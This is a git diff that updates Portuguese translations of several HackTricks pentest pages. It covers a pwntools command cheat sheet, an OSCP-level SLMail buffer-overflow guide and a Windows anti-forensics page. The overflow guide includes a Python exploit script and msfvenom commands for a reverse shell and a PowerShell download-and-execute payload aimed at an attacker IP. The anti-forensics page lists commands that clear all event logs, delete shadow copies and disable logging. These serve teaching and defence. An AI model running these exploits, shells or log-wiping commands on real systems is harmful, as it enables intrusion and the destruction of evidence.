Suporte ao HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} @@ -17,21 +17,21 @@ pip3 install pwntools ``` # Pwn asm -Obtenha os opcodes de uma linha ou arquivo. +Obtenha opcodes de linha ou arquivo. ``` pwn asm "jmp esp" pwn asm -i ``` **Pode selecionar:** -* tipo de saída (bruto, hex, string, elf) +* tipo de saída (raw,hex,string,elf) * contexto do arquivo de saída (16,32,64,linux,windows...) -* evitar bytes (quebras de linha, nulo, uma lista) -* selecionar codificador de depuração de shellcode usando gdb para executar a saída +* evitar bytes (novas linhas, nulo, uma lista) +* selecionar codificador de shellcode de depuração usando gdb executar a saída -# **Pwn checksec** +# **Verificação de Pwn** -Script checksec +Script de checksec ``` pwn checksec ``` @@ -46,14 +46,14 @@ pwn cyclic -l faad ``` **Pode selecionar:** -* O alfabeto utilizado (caracteres minúsculos por padrão) -* Comprimento do padrão único (padrão 4 por padrão) -* Contexto (16,32,64,linux,windows...) -* Obter o deslocamento (-l) +* O alfabeto usado (caracteres minúsculos por padrão) +* Comprimento do padrão único (padrão 4) +* contexto (16,32,64,linux,windows...) +* Levar o deslocamento (-l) -# Depuração Pwn +# Pwn debug -Anexar o GDB a um processo +Anexar GDB a um processo ``` pwn debug --exec /bin/bash pwn debug --pid 1234 @@ -62,16 +62,18 @@ pwn debug --process bash **Pode selecionar:** * Por executável, por nome ou por contexto de pid (16,32,64,linux,windows...) -* script gdb a ser executado -* caminho do sysroot +* gdbscript para executar +* sysrootpath -# Desabilitar nx +# Pwn desabilitar nx Desabilitar nx de um binário ``` pwn disablenx ``` -# Desmontar hex opcodes +# Pwn disasm + +Desassemble hex opcodes ``` pwn disasm ffe4 ``` @@ -79,29 +81,31 @@ pwn disasm ffe4 * contexto (16,32,64,linux,windows...) * endereço base -* cor (padrão)/sem cor +* cor(padrão)/sem cor # Pwn elfdiff -Imprime as diferenças entre 2 arquivos +Imprimir diferenças entre 2 arquivos ``` pwn elfdiff ``` -# Obter representação hexadecimal +# Pwn hex + +Obter representação hexadecimal ```bash pwn hex hola #Get hex of "hola" ascii ``` # Pwn phd -Obter despejo hexadecimal +Obter hexdump ``` pwn phd ``` **Pode selecionar:** * Número de bytes a mostrar -* Número de bytes por linha para destacar o byte -* Pular bytes no início +* Número de bytes por linha destacar byte +* Ignorar bytes no início # Pwn pwnstrip @@ -109,7 +113,7 @@ pwn phd # Pwn shellcraft -Obter códigos shell +Obter shellcodes ``` pwn shellcraft -l #List shellcodes pwn shellcraft -l amd #Shellcode with amd in the name @@ -120,21 +124,21 @@ pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port **Pode selecionar:** * shellcode e argumentos para o shellcode -* Ficheiro de saída +* Arquivo de saída * formato de saída -* debug (anexar dbg ao shellcode) -* antes (armadilha de debug antes do código) +* depuração (anexar dbg ao shellcode) +* antes (depuração de armadilha antes do código) * depois -* evitar o uso de opcodes (predefinição: não nulo e nova linha) +* evitar usar opcodes (padrão: não nulo e nova linha) * Executar o shellcode * Cor/sem cor * listar syscalls * listar possíveis shellcodes -* Gerar ELF como uma biblioteca partilhada +* Gerar ELF como uma biblioteca compartilhada # Modelo Pwn -Obter um modelo em Python +Obtenha um modelo em python ``` pwn template ``` @@ -142,27 +146,27 @@ pwn template # Pwn unhex -De hexadecimal para string +De hex para string ``` pwn unhex 686f6c61 ``` -# Atualização do Pwn +# Pwn update Para atualizar o pwntools ``` pwn update ``` {% hint style="success" %} -Aprenda e pratique AWS Hacking: [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte o HackTricks +Supporte o HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} diff --git a/exploiting/windows-exploiting-basic-guide-oscp-lvl.md b/exploiting/windows-exploiting-basic-guide-oscp-lvl.md index 929ea282e..668b0c552 100644 --- a/exploiting/windows-exploiting-basic-guide-oscp-lvl.md +++ b/exploiting/windows-exploiting-basic-guide-oscp-lvl.md @@ -1,31 +1,31 @@ -# Exploração do Windows (Guia Básico - Nível OSCP) +# Windows Exploiting (Guia Básico - Nível OSCP) {% hint style="success" %} -Aprenda e pratique Hacking na AWS: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking no GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte ao HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github. +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} -## **Comece instalando o serviço SLMail** +## **Comece a instalar o serviço SLMail** -## Reinicie o serviço SLMail +## Reiniciar o serviço SLMail -Toda vez que precisar **reiniciar o serviço SLMail**, você pode fazer isso usando o console do Windows: +Toda vez que você precisar **reiniciar o serviço SLMail**, você pode fazê-lo usando o console do Windows: ``` net start slmail ``` ![](<../.gitbook/assets/image (23) (1).png>) -## Modelo de exploit em Python muito básico +## Modelo de exploit Python muito básico ```python #!/usr/bin/python @@ -47,7 +47,7 @@ print "\nFinished!." except: print "Could not connect to "+ip+":"+port ``` -## **Alterar a Fonte do Immunity Debugger** +## **Mudar a Fonte do Immunity Debugger** Vá para `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK` @@ -59,11 +59,11 @@ Vá para `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK` **E pressione o botão START** -## **Enviar o exploit e verificar se o EIP é afetado:** +## **Envie o exploit e verifique se o EIP está afetado:** ![](<../.gitbook/assets/image (25) (1) (1).png>) -Cada vez que você interromper o serviço, você deve reiniciá-lo, como indicado no início desta página. +Toda vez que você interromper o serviço, deve reiniciá-lo, conforme indicado no início desta página. ## Criar um padrão para modificar o EIP @@ -73,9 +73,9 @@ O padrão deve ser tão grande quanto o buffer que você usou para interromper o ``` /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000 ``` -Alterar o buffer do exploit e definir o padrão e executar o exploit. +Altere o buffer do exploit e defina o padrão e inicie o exploit. -Deve surgir uma nova falha, mas com um endereço EIP diferente: +Um novo crash deve aparecer, mas com um endereço EIP diferente: ![](<../.gitbook/assets/image (27) (1) (1).png>) @@ -87,11 +87,11 @@ Verifique se o endereço estava no seu padrão: ``` Parece que **podemos modificar o EIP no deslocamento 2606** do buffer. -Verifique modificando o buffer do exploit: +Verifique isso modificando o buffer do exploit: ``` buffer = 'A'*2606 + 'BBBB' + 'CCCC' ``` -Com este buffer, o EIP quebrado deve apontar para 42424242 ("BBBB") +Com esse buffer, o EIP travado deve apontar para 42424242 ("BBBB") ![](<../.gitbook/assets/image (30) (1) (1).png>) @@ -99,25 +99,25 @@ Com este buffer, o EIP quebrado deve apontar para 42424242 ("BBBB") Parece que está funcionando. -## Verificar espaço para Shellcode dentro da pilha +## Verifique o espaço para Shellcode dentro da pilha 600B deve ser suficiente para qualquer shellcode poderoso. -Vamos alterar o buffer: +Vamos mudar o bufer: ``` buffer = 'A'*2606 + 'BBBB' + 'C'*600 ``` -Lance o novo exploit e verifique o EBP e o comprimento do shellcode útil +lançar o novo exploit e verificar o EBP e o comprimento do shellcode útil ![](<../.gitbook/assets/image (31) (1).png>) ![](<../.gitbook/assets/image (32) (1).png>) -Você pode ver que quando a vulnerabilidade é alcançada, o EBP está apontando para o shellcode e que temos muito espaço para localizar um shellcode aqui. +Você pode ver que, quando a vulnerabilidade é alcançada, o EBP está apontando para o shellcode e que temos muito espaço para localizar um shellcode aqui. Neste caso, temos **de 0x0209A128 a 0x0209A2D6 = 430B.** Suficiente. -## Verifique os caracteres inválidos +## Verifique os caracteres indesejados Mude novamente o buffer: ``` @@ -143,31 +143,31 @@ buffer = 'A'*2606 + 'BBBB' + badchars ``` Os badchars começam em 0x01 porque 0x00 é quase sempre ruim. -Execute repetidamente o exploit com este novo buffer eliminando os caracteres que são considerados inúteis:. +Execute repetidamente o exploit com este novo buffer removendo os chars que se mostram inúteis:. Por exemplo: -Neste caso, você pode ver que **não deve usar o caractere 0x0A** (nada é salvo na memória desde o caractere 0x09). +Neste caso, você pode ver que **você não deve usar o char 0x0A** (nada é salvo na memória desde o char 0x09). ![](<../.gitbook/assets/image (33) (1).png>) -Neste caso, você pode ver que **o caractere 0x0D é evitado**: +Neste caso, você pode ver que **o char 0x0D é evitado**: ![](<../.gitbook/assets/image (34) (1).png>) -## Encontrar um JMP ESP como endereço de retorno +## Encontre um JMP ESP como endereço de retorno Usando: ``` !mona modules #Get protections, look for all false except last one (Dll of SO) ``` -Você irá **listar os mapas de memória**. Procure por alguma DLL que tenha: +Você irá **listar os mapas de memória**. Procure por algum DLL que tenha: -- **Rebase: False** -- **SafeSEH: False** -- **ASLR: False** -- **NXCompat: False** -- **DLL do SO: True** +* **Rebase: Falso** +* **SafeSEH: Falso** +* **ASLR: Falso** +* **NXCompat: Falso** +* **OS Dll: Verdadeiro** ![](<../.gitbook/assets/image (35) (1).png>) @@ -176,20 +176,20 @@ Agora, dentro dessa memória você deve encontrar alguns bytes JMP ESP, para faz !mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP) !mona find -s "\xff\xe4" -m slmfc.dll # Example in this case ``` -**Em seguida, se algum endereço for encontrado, escolha um que não contenha nenhum caractere inválido:** +**Então, se algum endereço for encontrado, escolha um que não contenha nenhum badchar:** ![](<../.gitbook/assets/image (36) (1).png>) -**Neste caso, por exemplo: \_0x5f4a358f**\_ +**Neste caso, por exemplo: \_0x5f4a358f**\_ ## Criar shellcode ``` msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d' msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d' ``` -Se o exploit não estiver funcionando, mas deveria (você pode ver com o ImDebg que o shellcode está sendo alcançado), tente criar outros shellcodes (msfvenom com diferentes shellcodes para os mesmos parâmetros). +Se o exploit não estiver funcionando, mas deveria (você pode ver com ImDebg que o shellcode é alcançado), tente criar outros shellcodes (msfvenom com criar diferentes shellcodes para os mesmos parâmetros). -**Adicione alguns NOPS no início** do shellcode e use-o e o endereço de retorno para JMP ESP e finalize o exploit: +**Adicione alguns NOPS no início** do shellcode e use-o e o endereço de retorno para JMP ESP, e finalize o exploit: ```bash #!/usr/bin/python @@ -239,7 +239,7 @@ except: print "Could not connect to "+ip+":"+port ``` {% hint style="warning" %} -Existem shellcodes que **sobrescreverão a si mesmos**, portanto é importante sempre adicionar alguns NOPs antes do shellcode +Existem shellcodes que **sobrescrevem a si mesmos**, portanto, é importante sempre adicionar alguns NOPs antes do shellcode {% endhint %} ## Melhorando o shellcode @@ -249,16 +249,16 @@ Adicione estes parâmetros: EXITFUNC=thread -e x86/shikata_ga_nai ``` {% hint style="success" %} -Aprenda e pratique AWS Hacking: [**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**HackTricks Treinamento GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Suporte ao HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} diff --git a/forensics/basic-forensic-methodology/README.md b/forensics/basic-forensic-methodology/README.md index 0af5dbdfd..63619453f 100644 --- a/forensics/basic-forensic-methodology/README.md +++ b/forensics/basic-forensic-methodology/README.md @@ -10,7 +10,7 @@ Aprenda e pratique Hacking GCP: {% endhint %} @@ -31,7 +31,7 @@ Este **não é necessariamente o primeiro passo a ser realizado uma vez que voc ## Inspecionando uma Imagem -Se você receber uma **imagem forense** de um dispositivo, pode começar **analisando as partições, o sistema de arquivos** utilizado e **recuperando** arquivos potencialmente **interessantes** (mesmo os excluídos). Aprenda como em: +se você receber uma **imagem forense** de um dispositivo, você pode começar **analisando as partições, o sistema de arquivos** utilizado e **recuperando** potencialmente **arquivos interessantes** (mesmo os deletados). Aprenda como em: {% content-ref url="partitions-file-systems-carving/" %} [partitions-file-systems-carving](partitions-file-systems-carving/) @@ -102,7 +102,7 @@ Aprenda e pratique Hacking GCP: {% endhint %} diff --git a/forensics/basic-forensic-methodology/anti-forensic-techniques.md b/forensics/basic-forensic-methodology/anti-forensic-techniques.md index 4b4ae436f..ecaaf6f2b 100644 --- a/forensics/basic-forensic-methodology/anti-forensic-techniques.md +++ b/forensics/basic-forensic-methodology/anti-forensic-techniques.md @@ -1,14 +1,14 @@ {% hint style="success" %} -Aprenda e pratique AWS Hacking: [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Suporte ao HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} @@ -17,74 +17,75 @@ Aprenda e pratique GCP Hacking: ) -A imagem anterior é a **saída** mostrada pela **ferramenta** onde é possível observar que algumas **alterações foram realizadas** no arquivo. +A imagem anterior é a **saída** mostrada pela **ferramenta**, onde pode-se observar que algumas **alterações foram realizadas** no arquivo. ## $LogFile -**Todas as alterações de metadados em um sistema de arquivos são registradas** em um processo conhecido como [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). Os metadados registrados são mantidos em um arquivo chamado `**$LogFile**`, localizado no diretório raiz de um sistema de arquivos NTFS. Ferramentas como [LogFileParser](https://github.com/jschicht/LogFileParser) podem ser usadas para analisar esse arquivo e identificar alterações. +**Todas as alterações de metadados em um sistema de arquivos são registradas** em um processo conhecido como [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). Os metadados registrados são mantidos em um arquivo chamado `**$LogFile**`, localizado no diretório raiz de um sistema de arquivos NTFS. Ferramentas como [LogFileParser](https://github.com/jschicht/LogFileParser) podem ser usadas para analisar este arquivo e identificar alterações. ![](<../../.gitbook/assets/image (450).png>) Novamente, na saída da ferramenta é possível ver que **algumas alterações foram realizadas**. -Usando a mesma ferramenta, é possível identificar a **que horas os carimbos de data e hora foram modificados**: +Usando a mesma ferramenta, é possível identificar **a que hora os carimbos de data/hora foram modificados**: ![](<../../.gitbook/assets/image (451).png>) * CTIME: Hora de criação do arquivo * ATIME: Hora de modificação do arquivo * MTIME: Modificação do registro MFT do arquivo -* RTIME: Hora de acesso ao arquivo +* RTIME: Hora de acesso do arquivo -## Comparação de `$STANDARD_INFORMATION` e `$FILE_NAME` +## Comparação entre `$STANDARD_INFORMATION` e `$FILE_NAME` -Outra maneira de identificar arquivos modificados suspeitos seria comparar a hora em ambos os atributos em busca de **inconsistências**. +Outra maneira de identificar arquivos modificados suspeitos seria comparar o tempo em ambos os atributos em busca de **inconsistências**. -## Nanossegundos +## Nanosegundos -Os carimbos de data e hora do **NTFS** têm uma **precisão** de **100 nanossegundos**. Portanto, encontrar arquivos com carimbos de data e hora como 2010-10-10 10:10:**00.000:0000 é muito suspeito**. +Os carimbos de data/hora do **NTFS** têm uma **precisão** de **100 nanosegundos**. Portanto, encontrar arquivos com carimbos de data/hora como 2010-10-10 10:10:**00.000:0000 é muito suspeito**. ## SetMace - Ferramenta Anti-forense -Esta ferramenta pode modificar ambos os atributos `$STARNDAR_INFORMATION` e `$FILE_NAME`. No entanto, a partir do Windows Vista, é necessário um sistema operacional ativo para modificar essas informações. +Esta ferramenta pode modificar ambos os atributos `$STARNDAR_INFORMATION` e `$FILE_NAME`. No entanto, a partir do Windows Vista, é necessário que um sistema operacional ao vivo modifique essas informações. # Ocultação de Dados -O NTFS usa um cluster e o tamanho mínimo de informação. Isso significa que se um arquivo ocupar um cluster e meio, o **meio restante nunca será usado** até que o arquivo seja excluído. Portanto, é possível **ocultar dados neste espaço ocioso**. +O NTFS usa um cluster e o tamanho mínimo da informação. Isso significa que se um arquivo ocupa um e meio cluster, a **metade restante nunca será usada** até que o arquivo seja excluído. Portanto, é possível **ocultar dados neste espaço livre**. Existem ferramentas como slacker que permitem ocultar dados neste espaço "oculto". No entanto, uma análise do `$logfile` e `$usnjrnl` pode mostrar que alguns dados foram adicionados: ![](<../../.gitbook/assets/image (452).png>) -Assim, é possível recuperar o espaço ocioso usando ferramentas como FTK Imager. Note que esse tipo de ferramenta pode salvar o conteúdo obfuscado ou até mesmo criptografado. +Portanto, é possível recuperar o espaço livre usando ferramentas como FTK Imager. Note que esse tipo de ferramenta pode salvar o conteúdo ofuscado ou até mesmo criptografado. # UsbKill Esta é uma ferramenta que **desligará o computador se qualquer alteração nas portas USB** for detectada.\ -Uma maneira de descobrir isso seria inspecionar os processos em execução e **revisar cada script Python em execução**. +Uma maneira de descobrir isso seria inspecionar os processos em execução e **revisar cada script python em execução**. # Distribuições Linux ao Vivo -Essas distribuições são **executadas dentro da memória RAM**. A única maneira de detectá-las é **caso o sistema de arquivos NTFS seja montado com permissões de gravação**. Se for montado apenas com permissões de leitura, não será possível detectar a intrusão. +Essas distros são **executadas dentro da memória RAM**. A única maneira de detectá-las é **caso o sistema de arquivos NTFS esteja montado com permissões de gravação**. Se estiver montado apenas com permissões de leitura, não será possível detectar a intrusão. # Exclusão Segura @@ -92,18 +93,18 @@ Essas distribuições são **executadas dentro da memória RAM**. A única manei # Configuração do Windows -É possível desativar vários métodos de registro do Windows para tornar a investigação forense muito mais difícil. +É possível desativar vários métodos de registro do Windows para dificultar muito a investigação forense. -## Desativar Carimbos de Data e Hora - UserAssist +## Desativar Carimbos de Data/Hora - UserAssist -Esta é uma chave de registro que mantém datas e horas quando cada executável foi executado pelo usuário. +Esta é uma chave de registro que mantém datas e horas em que cada executável foi executado pelo usuário. -Desativar o UserAssist requer dois passos: +Desativar o UserAssist requer duas etapas: -1. Definir duas chaves de registro, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` e `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, ambos como zero para sinalizar que queremos desativar o UserAssist. -2. Limpar os subárvores do registro que se parecem com `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`. +1. Defina duas chaves de registro, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` e `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, ambas para zero, a fim de sinalizar que queremos desativar o UserAssist. +2. Limpe suas subárvores de registro que se parecem com `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`. -## Desativar Carimbos de Data e Hora - Prefetch +## Desativar Carimbos de Data/Hora - Prefetch Isso salvará informações sobre os aplicativos executados com o objetivo de melhorar o desempenho do sistema Windows. No entanto, isso também pode ser útil para práticas forenses. @@ -113,51 +114,52 @@ Isso salvará informações sobre os aplicativos executados com o objetivo de me * Selecione Modificar em cada um deles para alterar o valor de 1 (ou 3) para 0 * Reinicie -## Desativar Carimbos de Data e Hora - Último Horário de Acesso +## Desativar Carimbos de Data/Hora - Último Tempo de Acesso -Sempre que uma pasta é aberta de um volume NTFS em um servidor Windows NT, o sistema leva tempo para **atualizar um campo de carimbo de data e hora em cada pasta listada**, chamado de último horário de acesso. Em um volume NTFS muito utilizado, isso pode afetar o desempenho. +Sempre que uma pasta é aberta a partir de um volume NTFS em um servidor Windows NT, o sistema leva o tempo para **atualizar um campo de carimbo de data/hora em cada pasta listada**, chamado de último tempo de acesso. Em um volume NTFS muito utilizado, isso pode afetar o desempenho. -1. Abra o Editor de Registro (Regedit.exe). +1. Abra o Editor do Registro (Regedit.exe). 2. Navegue até `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`. 3. Procure por `NtfsDisableLastAccessUpdate`. Se não existir, adicione este DWORD e defina seu valor como 1, o que desativará o processo. -4. Feche o Editor de Registro e reinicie o servidor. -## Apagar Histórico USB +4. Feche o Editor do Registro e reinicie o servidor. -Todas as **Entradas de Dispositivos USB** são armazenadas no Registro do Windows sob a chave de registro **USBSTOR** que contém subchaves criadas sempre que você conecta um Dispositivo USB ao seu PC ou Laptop. Você pode encontrar esta chave em `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Apagando isso** você apagará o histórico USB.\ -Você também pode usar a ferramenta [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) para garantir que os tenha apagado (e para apagá-los). +## Excluir Histórico USB -Outro arquivo que salva informações sobre os USBs é o arquivo `setupapi.dev.log` dentro de `C:\Windows\INF`. Este arquivo também deve ser apagado. +Todas as **Entradas de Dispositivos USB** são armazenadas no Registro do Windows sob a chave de registro **USBSTOR**, que contém subchaves que são criadas sempre que você conecta um dispositivo USB ao seu PC ou Laptop. Você pode encontrar esta chave aqui `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Excluindo isso**, você excluirá o histórico USB.\ +Você também pode usar a ferramenta [**USBDeview**](https://www.nirsoft.net/utils/usb\_devices\_view.html) para ter certeza de que as excluiu (e para excluí-las). + +Outro arquivo que salva informações sobre os USBs é o arquivo `setupapi.dev.log` dentro de `C:\Windows\INF`. Este também deve ser excluído. ## Desativar Cópias de Sombra **Liste** as cópias de sombra com `vssadmin list shadowstorage`\ -**Apague** executando `vssadmin delete shadow` +**Exclua**-as executando `vssadmin delete shadow` -Você também pode apagá-las via GUI seguindo as etapas propostas em [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) +Você também pode excluí-las via GUI seguindo os passos propostos em [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) Para desativar cópias de sombra [passos daqui](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows): -1. Abra o programa Serviços digitando "services" na caixa de pesquisa de texto após clicar no botão iniciar do Windows. -2. Na lista, encontre "Cópia de Sombra de Volume", selecione-a e acesse Propriedades clicando com o botão direito. -3. Escolha Desativado no menu suspenso "Tipo de inicialização" e confirme a alteração clicando em Aplicar e OK. +1. Abra o programa Serviços digitando "serviços" na caixa de pesquisa de texto após clicar no botão iniciar do Windows. +2. Na lista, encontre "Volume Shadow Copy", selecione-o e, em seguida, acesse Propriedades clicando com o botão direito. +3. Escolha Desativado no menu suspenso "Tipo de Inicialização" e, em seguida, confirme a alteração clicando em Aplicar e OK. Também é possível modificar a configuração de quais arquivos serão copiados na cópia de sombra no registro `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` -## Sobrescrever arquivos apagados +## Sobrescrever arquivos excluídos -* Você pode usar uma **ferramenta do Windows**: `cipher /w:C` Isso indicará ao cipher para remover quaisquer dados do espaço de disco não utilizado disponível na unidade C. +* Você pode usar uma **ferramenta do Windows**: `cipher /w:C` Isso indicará ao cipher para remover qualquer dado do espaço de disco não utilizado disponível dentro da unidade C. * Você também pode usar ferramentas como [**Eraser**](https://eraser.heidi.ie) -## Apagar logs de eventos do Windows +## Excluir logs de eventos do Windows -* Windows + R --> eventvwr.msc --> Expandir "Logs do Windows" --> Clique com o botão direito em cada categoria e selecione "Limpar Log" +* Windows + R --> eventvwr.msc --> Expanda "Logs do Windows" --> Clique com o botão direito em cada categoria e selecione "Limpar Log" * `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"` * `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }` ## Desativar logs de eventos do Windows * `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 